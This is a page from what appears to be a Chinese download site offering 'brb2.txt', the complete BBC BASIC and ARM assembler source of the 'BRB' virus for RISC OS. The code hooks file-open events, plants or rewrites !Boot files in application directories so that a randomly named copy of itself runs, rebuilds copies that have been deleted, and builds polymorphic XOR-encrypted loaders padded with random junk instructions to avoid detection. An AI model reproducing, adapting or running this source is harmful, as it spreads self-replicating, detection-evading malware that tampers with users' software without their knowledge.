⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 brb2.txt

📁 病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码
💻 TXT
字号:
BRB2 
30 : REM BRB?virus by ExStres 
40 : REM Source code 
50 : REM DO NOT DISTRIBUTE....(or run :-) 
60 : ON ERROR report$=REPORT$ + " at line " + STR$ERL:ERROR0,report$ 
70 : c%=PAGE 
80 : r%=LOMEM-PAGE 
90 : : 
100 : DIM code r%+4096 
110 : DIM inf$(100,2) 
120 : DIM inf%(100) 
130 : infcnt%=-1 
140 : infects%=-1 
150 : DIM code% 2048 
160 : PROCassemble 
170 : : 
180 : REMOSCLI "Save moo &"+STR$~code+"+&"+STR$~(p%-code) 
190 : REMOSCLI "Save moo &"+STR$~codebase+"+&"+STR$~(r%-1) 
200 : : 
210 : DIM b% 16384 
220 : q%=FALSE 
230 : SYS "Wimp_Initialise",200,&4B534154,FNgetname TO ,t% 
240 : : 
250 : polls%=0 
260 : ON ERROR : 
270 : countit%=0 
280 : WHILE NOT q% 
290 : IF countit%=4 THEN countit%=0:PROCcheckinfects 
300 : countit%+=1 
310 : SYS "Wimp_Poll",,b% TO reason%,info% 
320 : IF reason%=17 OR reason%=18 THEN IF b%!16=5 THEN f$=FNgetstring(b%+44):unk%=TRUE:y%=b%!40:PROCinfect 
330 : ENDWHILE 
340 : SYS "Wimp_CloseDown",t%,&4B534154 
350 : : 
360 : END 
370 : : 
380 : DEFPROCcheckinfects 
390 : IF infects%>-1 THEN 
410 : FOR iij=0 TO infects% 
420 : file$=inf$(iij,0)+"."+inf$(iij,1) 
430 : leng%=inf%(iij) 
440 : SYS "XOS_File",5,file$ TO type% 
450 : REMPRINT file$+" : "+STR$type% 
470 : IF type%=0 THEN 
480 : REM OH FLIBBLE ONE OF OUR VIRUSES HAS BEEN REMOVED! 
490 : REM we better rebuilt it hadn't we :)) 
500 : f$=inf$(iij,0) 
510 : nmy$=inf$(iij,1) 
520 : unk%=FALSE 
521 : y%=&2000 
530 : PROCinfect 
540 : ENDIF 
550 : NEXT 
560 : ENDIF 
570 : ENDPROC 
580 : : 
590 : DEFFNgetstring(a%):s$="":WHILE (?a%<>13)AND(?a%<>0) 
600 : s$+=CHR$(?a%):a%+=1:ENDWHILE:=s$ 
610 : : 
620 : DEFFNremdots(nm$) 
630 : WHILE INSTR(nm$,".")>0 
640 : nm$=MID$(nm$,INSTR(nm$,".")+1) 
650 : ENDWHILE 
660 : =nm$ 
670 : : 
680 : DEFPROCinfect 
700 : IF y%=&2000 AND LEFT$(FNremdots(f$),1)="!" THEN 
710 : SYS "XOS_File",5,f$+".!Boot" TO y% 
720 : IF y%=1 THEN 
730 : f%=OPENUP(f$+".!Boot") 
740 : WHILE NOT EOF#f% 
750 : t$=GET$#f% 
760 : REMIF t$="|hacked" THEN CLOSE#f%:ENDPROC 
770 : ENDWHILE 
780 : ELSE 
790 : IF y%=0 THEN f%=OPENOUT(f$+".!Boot") 
800 : ENDIF 
810 : IF y%=0 OR y%=1 THEN 
820 : IF unk%=TRUE THEN 
830 : nmy$=STR$RND(100)+STR$RND(100)+STR$RND(100) 
840 : REPEAT 
850 : nmy$=FNgetname 
860 : SYS "XOS_File",5,f$+"."+nmy$ TO yv% 
870 : UNTIL yv%=0 
880 : ENDIF 
890 : BPUT#f%,"" 
900 : REMBPUT#f%,"|hacked" 
910 : slot%=64+RND(36) 
920 : slot$=STR$(slot%+(slot% AND 3)) 
930 : BPUT#f%,"WimpSlot -min "+slot$+"k -max "+slot$+"k" 
940 : BPUT#f%,"Filer_Run ."+nmy$ 
950 : CLOSE#f% 
960 : OSCLI "Settype "+f$+".!Boot Obey" 
970 : OSCLI "Save "+f$+"."+nmy$+" &"+STR$~code+"+&"+STR$~(p%-code) 
980 : IF unk%=TRUE THEN 
990 : SYS "OS_File",5,f$+"."+nmy$ TO type% 
1000 : IF type%=1 THEN 
1010 : IF infects%<99 THEN infects%+=1 
1020 : infcnt%+=1 
1030 : IF infcnt%=100 THEN infcnt%=0 
1040 : inf$(infcnt%,0)=f$ 
1050 : inf$(infcnt%,1)=nmy$ 
1060 : ENDIF 
1070 : ENDIF 
1080 : REMSYS "XOS_File",10,f$+"."+nmy$,&FFB,,c%,c%+r% 
1090 : PROCassemble 
1100 : ENDIF 
1110 : ENDIF 
1120 : ENDPROC 
1130 : : 
1140 : DEFFNnoop 
1150 : nn=RND(10) 
1160 : IF nn<4 THEN =0 
1170 : FOR i=3 TO nn 
1180 : reg%=RND(10) 
1190 : CASE RND(18) OF 
1200 : WHEN 2 : [opt pass 
1210 : moveq reg%,reg% 
1220 : ] 
1230 : WHEN 3 : [opt pass 
1240 : andeq reg%,reg%,reg% 
1250 : ] 
1260 : WHEN 4 : [opt pass 
1270 : andne reg%,reg%,reg% 
1280 : ] 
1290 : WHEN 5 : [opt pass 
1300 : andgt reg%,reg%,reg% 
1310 : ] 
1320 : WHEN 6 : [opt pass 
1330 : andlt reg%,reg%,reg% 
1340 : ] 
1350 : WHEN 7 : [opt pass 
1360 : andal reg%,reg%,reg% 
1370 : ] 
1380 : WHEN 8 : [opt pass 
1390 : and reg%,reg%,reg% 
1400 : ] 
1410 : WHEN 9 : [opt pass 
1420 : movne reg%,reg% 
1430 : ] 
1440 : WHEN 10 : [opt pass 
1450 : movgt reg%,reg% 
1460 : ] 
1470 : WHEN 11 : [opt pass 
1480 : movlt reg%,reg% 
1490 : ] 
1500 : WHEN 12 : [opt pass 
1510 : mov reg%,reg% 
1520 : ] 
1530 : WHEN 13 : [opt pass 
1540 : movne reg%,reg% 
1550 : ] 
1560 : WHEN 14 : [opt pass 
1570 : movcc reg%,reg% 
1580 : ] 
1590 : WHEN 15 : [opt pass 
1600 : movcs reg%,reg% 
1610 : ] 
1620 : WHEN 16 : [opt pass 
1630 : movnv reg%,reg% 
1640 : ] 
1650 : ENDCASE 
1660 : NEXT 
1670 : =0 
1680 : : 
1690 : DEFFNgetname 
1700 : LOCAL z$:z$="" 
1710 : FOR i=0 TO RND(5)+5 
1720 : num%=RND(50)+64 
1730 : IF num%>90 THEN num%+=7 
1740 : z$+=CHR$(num%) 
1750 : NEXT 
1760 : =LEFT$(z$,10) 
1770 : : 
1780 : DEFPROCassemble 
1790 : enc%=RND(255) 
1800 : aa=TIME 
1810 : FOR pass=0 TO 2 STEP 2 
1820 : P%=code 
1830 : REMPROCnoop 
1840 : bb=RND(-aa) 
1850 : select%=(RND(255) AND 3) 
1860 : CASE select% OF 
1870 : REM First unecryption algorithm 
1880 : WHEN 0 : [opt pass 
1890 : FNnoop 
1900 : adr r0,codebase 
1910 : FNnoop 
1920 : mov r1,#0 
1930 : FNnoop 
1940 : ldr r4,mooit 
1950 : FNnoop 
1960 : mov r5,#enc% 
1970 : FNnoop 
1980 : .go ldrb r3,[r0,r1] 
1990 : FNnoop 
2000 : eor r3,r3,r5 
2010 : FNnoop 
2020 : strb r3,[r0,r1] 
2030 : FNnoop 
2040 : add r1,r1,#1 
2050 : FNnoop 
2060 : cmp r1,r4 
2070 : FNnoop 
2080 : blt go 
2090 : .start adr r0,str 
2100 : FNnoop 
2110 : swi "OS_CLI" 
2120 : FNnoop 
2130 : swi "OS_Exit" 
2140 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
2150 : .str equd RND(255) ;0 
2160 : equd RND(255) ;4 
2170 : equd RND(255) ;8 
2180 : equd RND(255) ;16 
2190 : equd RND(255) ;20 
2200 : equd RND(255) ;24 
2210 : equd RND(255) ;28 
2220 : equd RND(255) ;32 
2230 : equd RND(255) ;36 
2240 : equd RND(255) ;48 
2250 : equd RND(255) ;52 
2260 : ]:FOR i=0 TO RND(6):[opt pass 
2270 : equd RND(255) 
2280 : ]:NEXT:[opt pass 
2290 : .mooit equd 0 
2300 : ]:FOR i=0 TO RND(6):[opt pass 
2310 : equd RND(255) 
2320 : ]:NEXT:[opt pass 
2330 : ] 
2340 : WHEN 1 : [opt pass 
2350 : FNnoop 
2360 : b encryp 
2370 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
2380 : .str equd RND(255) ;0 
2390 : equd RND(255) ;4 
2400 : equd RND(255) ;8 
2410 : equd RND(255) ;16 
2420 : equd RND(255) ;20 
2430 : equd RND(255) ;24 
2440 : equd RND(255) ;28 
2450 : equd RND(255) ;32 
2460 : equd RND(255) ;36 
2470 : equd RND(255) ;48 
2480 : equd RND(255) ;52 
2490 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
2500 : .encryp 
2510 : FNnoop 
2520 : adr r0,codebase 
2530 : FNnoop 
2540 : mov r1,#0 
2550 : FNnoop 
2560 : adr r12,str 
2570 : FNnoop 
2580 : ldr r4,mooit 
2590 : FNnoop 
2600 : mov r5,#enc% 
2610 : FNnoop 
2620 : b go 
2630 : FNnoop 
2640 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
2650 : .mooit equd 0 
2660 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
2670 : FNnoop 
2680 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
2690 : .go ldrb r3,[r0,r1] 
2700 : FNnoop 
2710 : eor r3,r3,r5 
2720 : FNnoop 
2730 : strb r3,[r0,r1] 
2740 : FNnoop 
2750 : add r1,r1,#1 
2760 : FNnoop 
2770 : cmp r1,r4 
2780 : FNnoop 
2790 : blt go 
2800 : FNnoop 
2810 : .start mov r0,r12 
2820 : FNnoop 
2830 : swi "OS_CLI" 
2840 : FNnoop 
2850 : swi "OS_Exit" 
2860 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
2870 : ] 
2880 : WHEN 2: [opt pass 
2890 : FNnoop 
2900 : b encryp 
2910 : FNnoop 
2920 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
2930 : .encryp 
2940 : adr r0,codebase 
2950 : FNnoop 
2960 : mov r1,#0 
2970 : FNnoop 
2980 : b codeit 
2990 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
3000 : FNnoop 
3010 : .str equd RND(255) ;0 
3020 : equd RND(255) ;4 
3030 : equd RND(255) ;8 
3040 : equd RND(255) ;16 
3050 : equd RND(255) ;20 
3060 : equd RND(255) ;24 
3070 : equd RND(255) ;28 
3080 : equd RND(255) ;32 
3090 : equd RND(255) ;36 
3100 : equd RND(255) ;48 
3110 : equd RND(255) ;52 
3120 : FNnoop 
3130 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
3140 : FNnoop 
3150 : .mooit equd 0 
3160 : FNnoop 
3170 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
3180 : FNnoop 
3190 : .ency strb r3,[r0,r1] 
3200 : FNnoop 
3210 : add r1,r1,#1 
3220 : FNnoop 
3230 : cmp r1,r4 
3240 : FNnoop 
3250 : blt go 
3260 : FNnoop 
3270 : b start 
3280 : FNnoop 
3290 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
3300 : FNnoop 
3310 : .codeit adr r12,str 
3320 : FNnoop 
3330 : ldr r4,mooit 
3340 : FNnoop 
3350 : mov r5,#enc% 
3360 : FNnoop 
3370 : b go 
3380 : FNnoop 
3390 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
3400 : FNnoop 
3410 : .go ldrb r3,[r0,r1] 
3420 : FNnoop 
3430 : eor r3,r3,r5 
3440 : FNnoop 
3450 : b ency 
3460 : FNnoop 
3470 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
3480 : FNnoop 
3490 : .start mov r0,r12 
3500 : FNnoop 
3510 : swi "OS_CLI" 
3520 : FNnoop 
3530 : swi "OS_Exit" 
3540 : FNnoop 
3550 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
3560 : FNnoop 
3570 : ] 
3580 : WHEN 3: [opt pass 
3590 : FNnoop 
3600 : b encryp 
3610 : FNnoop 
3620 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
3630 : FNnoop 
3640 : .encryp 
3650 : FNnoop 
3660 : adr r0,codebase 
3670 : FNnoop 
3680 : mov r1,#0 
3690 : FNnoop 
3700 : b codeit 
3710 : FNnoop 
3720 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
3730 : FNnoop 
3740 : .goto add r1,r1,#1 
3750 : FNnoop 
3760 : cmp r1,r4 
3770 : FNnoop 
3780 : b ret 
3790 : FNnoop 
3800 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
3810 : FNnoop 
3820 : .str equd RND(255) ;0 
3830 : equd RND(255) ;4 
3840 : equd RND(255) ;8 
3850 : equd RND(255) ;16 
3860 : equd RND(255) ;20 
3870 : equd RND(255) ;24 
3880 : equd RND(255) ;28 
3890 : equd RND(255) ;32 
3900 : equd RND(255) ;36 
3910 : equd RND(255) ;48 
3920 : equd RND(255) ;52 
3930 : FNnoop 
3940 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
3950 : FNnoop 
3960 : .mooit equd 0 
3970 : FNnoop 
3980 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
3990 : FNnoop 
4000 : .ency strb r3,[r0,r1] 
4010 : FNnoop 
4020 : b goto 
4030 : FNnoop 
4040 : .ret blt go 
4050 : FNnoop 
4060 : b start 
4070 : FNnoop 
4080 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
4090 : FNnoop 
4100 : .codeit adr r12,str 
4110 : FNnoop 
4120 : ldr r4,mooit 
4130 : FNnoop 
4140 : mov r5,#enc% 
4150 : FNnoop 
4160 : b go 
4170 : FNnoop 
4180 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
4190 : FNnoop 
4200 : .go ldrb r3,[r0,r1] 
4210 : FNnoop 
4220 : eor r3,r3,r5 
4230 : FNnoop 
4240 : b ency 
4250 : FNnoop 
4260 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
4270 : FNnoop 
4280 : .start mov r0,r12 
4290 : FNnoop 
4300 : swi "OS_CLI" 
4310 : FNnoop 
4320 : swi "OS_Exit" 
4330 : FNnoop 
4340 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass 
4350 : FNnoop 
4360 : ] 
4370 : ENDCASE 
4380 : [opt pass 
4390 : .codebase 
4400 : ] 
4410 : P%+=r% 
4420 : FORi=0 TO RND(100) 
4430 : [opt pass 
4440 : equb RND(255) 
4450 : ] 
4460 : NEXT 
4470 : NEXT 
4480 : !mooit=r% 
4490 : p%=P% 
4500 : REMPRINT r%+1024 
4510 : REMPRINT P%-code 
4520 : : 
4530 : FOR pass=0 TO 2 STEP 2 
4540 : P%=code% 
4550 : [opt pass 
4560 : ; r0 = base 
4570 : ; r1 = size 
4580 : ; r2 = target 
4590 : ; r4 = 0 
4600 : ; r5 = enccode 
4610 : .go ldrb r3,[r0,r4] 
4620 : eor r3,r3,r5 
4630 : strb r3,[r2,r4] 
4640 : add r4,r4,#1 
4650 : cmp r4,r1 
4660 : blt go 
4670 : mov pc,r14 
4680 : ] 
4690 : NEXT 
4700 : A%=c%:B%=r%:C%=codebase:E%=0:F%=enc%:CALL go 
4710 : cb%=codebase 
4720 : ct%=codebase+r% 
4730 : cb$=STR$~cb%:WHILE LEN(cb$)<8:cb$="0"+cb$:ENDWHILE 
4740 : ct$=STR$~ct%:WHILE LEN(ct$)<8:ct$="0"+ct$:ENDWHILE 
4750 : $str="BASIC -quit @"+cb$+","+ct$ 
4760 : ENDPROC 
4770 : : 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -